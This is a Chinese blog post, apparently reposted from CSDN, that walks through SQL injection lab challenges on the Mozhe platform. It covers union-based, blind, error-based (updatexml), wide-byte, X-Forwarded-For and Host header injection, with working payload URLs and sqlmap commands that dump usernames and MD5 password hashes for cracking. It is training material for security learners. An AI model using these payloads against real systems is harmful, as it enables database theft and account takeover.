白帽笔记之SQL手工注入专题

admin 2021年11月1日22:59:15评论72 views字数 7911阅读26分22秒阅读模式

白帽笔记之SQL手工注入专题

网安教育

培养网络安全人才

技术交流、学习咨询



01
数据库:MySQL


三种数据库的注入详解

白帽笔记之SQL手工注入专题


MySQL的很简单

1,查字段数

http://mozhe.cn/new_list.php?id=0 order by 5 时报错,说明字段有4个


2,查数据库

http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。


3,查表

http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。


4,查字段

http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。


5,查类容

http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1


查到两个数据:

1mozhe-356f589a7df439f6f744ff19bb8092c0
2mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad
3
4MD5:
5dsan13
6392969


登录第二个账号得到key


02
数据库:Access


access数据库没有索引语句只能猜解。


判断数据库方法:

1and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
2
3and (select count(*)
 fromsysobjects)>0 (返回正常则为MSSQL数据库)


白帽笔记之SQL手工注入专题

直接用sqlmap跑:

默认回车,线程设置10.

跑出来两个表:

1python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables


白帽笔记之SQL手工注入专题


爆字段

1python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns


白帽笔记之SQL手工注入专题


这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中


读取username和passwd字段中的数据

1python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dump


白帽笔记之SQL手工注入专题

md5解密得到密码

白帽笔记之SQL手工注入专题

登录得到flag

记录个讲的很好的教程:sqlmap注入access数据库


03
SQL Server


https://blog.csdn.net/qq_42357070/article/details/81239721

这题道感觉很复杂,手工注入很麻烦,还是用sqlmap跑吧。


04
SQL注入漏洞测试(布尔盲注)


数据库:

1python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 --dbs --threads 10


白帽笔记之SQL手工注入专题


表:

1python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup --tables --threads 10


白帽笔记之SQL手工注入专题


字段:

1python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup --tables --threads 10


白帽笔记之SQL手工注入专题


内容:

1python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10


白帽笔记之SQL手工注入专题


得到两个账号:

1mozhe-3114b433dece9180717f2b7de56b28a3-0
2mozhe-72b907f67333f6b1831ef219d6ef7832-1
3
4md5:
5mozhe-816761-1


05
SQL手工注入漏洞测试(MySQL数据库-字符型)


白帽笔记之SQL手工注入专题


1,http://219.153.49.228:45334/new_list.php?id=tingjigonggao'

报错。

2,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' --+

没有报错,存在字符型注入。

3,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 5 --+

猜测字段数为5,报错。

4,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 4 --+

猜测字段数为4,正常,字段数为4。


5,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,3,4 --+

白帽笔记之SQL手工注入专题


找到回显位置2和3。

6,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 0,1--+

白帽笔记之SQL手工注入专题


第一个数据库为information_schema

7,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 1,1--+

白帽笔记之SQL手工注入专题


第二个数据库为mozhe_discuz_stormgroup

8,同理:

所有数据库为mysql,information_schema,mozhe_discuz_stormgroup,performance_schema,test

9,使用mozhe_discuz_stormgroup数据库爆表

1http://219.153.49.228:45334/new_list.php?id=' union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1--+


白帽笔记之SQL手工注入专题

10,同理,爆出所有数据库:

notice,stormgroup_member

这里使用第二个数据库stormgroup_member,所以就不继续爆了。

11,

1http://219.153.49.228:45334/new_list.php?id=' union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1--+


白帽笔记之SQL手工注入专题

12,同理,爆出所有字段名为:

1id,name,password,status



13,

1http://219.153.49.228:45334/new_list.php?id=' union select 1,2,concat(name,'-',password),4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1--+


白帽笔记之SQL手工注入专题

14,爆出两个账号:

1mozhe-356f589a7df439f6f744ff19bb8092c0
2mozhe-9b7a0a48bdc5981497e68c7b1ec9d01c


15,md5解密:

1mozhe-dsan13
2mozhe-821078


16,登录第二个得到flag


06
X-Forwarded-For注入漏洞实战


白帽笔记之SQL手工注入专题

这种题还是第一次遇到,因为要记录ip地址,所以要添加一个X-Forwarded-For: *的头。

1,复制信息到b.txt中。

白帽笔记之SQL手工注入专题

2,构造sqlmap语句爆出数据库。

1python sqlmap.py -r D:desktopb.txt --dbs --batch --threads 10


常用参数:

--batch:批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。

--threads: 设置多线程,默认为1,最大10。

sqlmap全参数详解

白帽笔记之SQL手工注入专题

3,爆webcalendar数据库中的表。

1python sqlmap.py -r D:desktopb.txt -D webcalendar --tables --batch --threads 10


白帽笔记之SQL手工注入专题

4,爆字段内容。

1python sqlmap.py -r D:desktopb.txt -D webcalendar -T user --dump --batch --threads 10


白帽笔记之SQL手工注入专题

5,登录得到flag。

白帽笔记之SQL手工注入专题



07
SQL注入漏洞测试(报错盲注)


白帽笔记之SQL手工注入专题


学习基于extractvalue()和updatexml()的报错注入

使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)

其中:aaa和bbb随便输入什么东西

回显:error:‘bbb 查询的SQL结果 bbb’


例:updatexml(1,concat('~',(select database()),'~'),1)

白帽笔记之SQL手工注入专题

解题:

1,http://219.153.49.228:48410/new_list.php?id=1'

报错。

2,http://219.153.49.228:48410/new_list.php?id=1' --+

正常,存在注入。

3,根据题目提示使用updatexml()进行报错注入。

http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆出了数据库stormgroup。

4,爆表:

1http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+


白帽笔记之SQL手工注入专题

爆出表:member

5,爆字段:

1http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+

白帽笔记之SQL手工注入专题


6,同上,爆出其他字段。

name,password,status

7,爆字段类容。

1http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',passwordfrom stormgroup.member limit 0,1),0x7e),1)--+


白帽笔记之SQL手工注入专题

8,同上,爆出所有账号,密码。

1mozhe-3114b433dece9180717f2b7de
2mozhe-773243a831d361bcdb225f0dd


9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。

1http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select 
2concat(name,'-',substr(password,26)) from stormgroup.member limit 0,1),0x7e),1)--+


白帽笔记之SQL手工注入专题

得到密码:3114b433dece9180717f2b7de56b28a3

和:3783d53ee620b2901c8eaae3b56b28a3

10,md5解密登录得到flag。


08
SQL注入漏洞测试(宽字节)


白帽笔记之SQL手工注入专题


宽字节注入原理:

1,出于安全考虑,单引号'会被转义为/'进入后台。

2,%bf/'等于縗’,这样就成功将/号变为无效字符,从而正常使用单引号。(%bf=β)


解题:

1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。

1http://219.153.49.228:41108/new_list.php?id=-1%df


白帽笔记之SQL手工注入专题

报错正常,开始注入。

2,确定字段数

1http://219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+


order by 6 时报错,字段数为5。

白帽笔记之SQL手工注入专题


3,找到回显点,回显点为5和3。

1http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+

白帽笔记之SQL手工注入专题

4,爆数据库。

1http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+

白帽笔记之SQL手工注入专题


5,爆表,因为引号被转义,库名,表名使用16进制。

1http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+

白帽笔记之SQL手工注入专题

6,爆字段。

1http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+

白帽笔记之SQL手工注入专题

7,爆字段类容。

1http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,statusfrom mozhe_discuz_stormgroup.stormgroup_member --+


白帽笔记之SQL手工注入专题

8,md5解密,登录。

白帽笔记之SQL手工注入专题



09
SQL注入漏洞测试(HTTP头注入)


白帽笔记之SQL手工注入专题

第一次做http头注入的题目,看了看题解是在host上注入。

1,抓包,修改为Host: or 1=1

白帽笔记之SQL手工注入专题


报错

白帽笔记之SQL手工注入专题


2,找注入点

1host: union select 1,2,3,4


白帽笔记之SQL手工注入专题


3,暴库

1Host: union select 1,2,3,group_concat(schema_name) from information_schema.schemata


白帽笔记之SQL手工注入专题


4,爆表


1Host: union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'


白帽笔记之SQL手工注入专题


5,爆字段

1Host: union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

白帽笔记之SQL手工注入专题


6,爆flag

1Host: union select 1,2,3,group_concat(flag) from pentesterlab.flag

白帽笔记之SQL手工注入专题



7,验证flag

白帽笔记之SQL手工注入专题


白帽笔记之SQL手工注入专题

版权声明:本文为CSDN博主「Herbert_555」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_44657899/article/details/104332192

版权声明:著作权归作者所有。如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

白帽笔记之SQL手工注入专题

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

白帽笔记之SQL手工注入专题


我就知道你“在看”
白帽笔记之SQL手工注入专题





本文始发于微信公众号(开源聚合网络空间安全研究院):白帽笔记之SQL手工注入专题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月1日22:59:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   白帽笔记之SQL手工注入专题https://cn-sec.com/archives/419681.html

发表评论

匿名网友 填写信息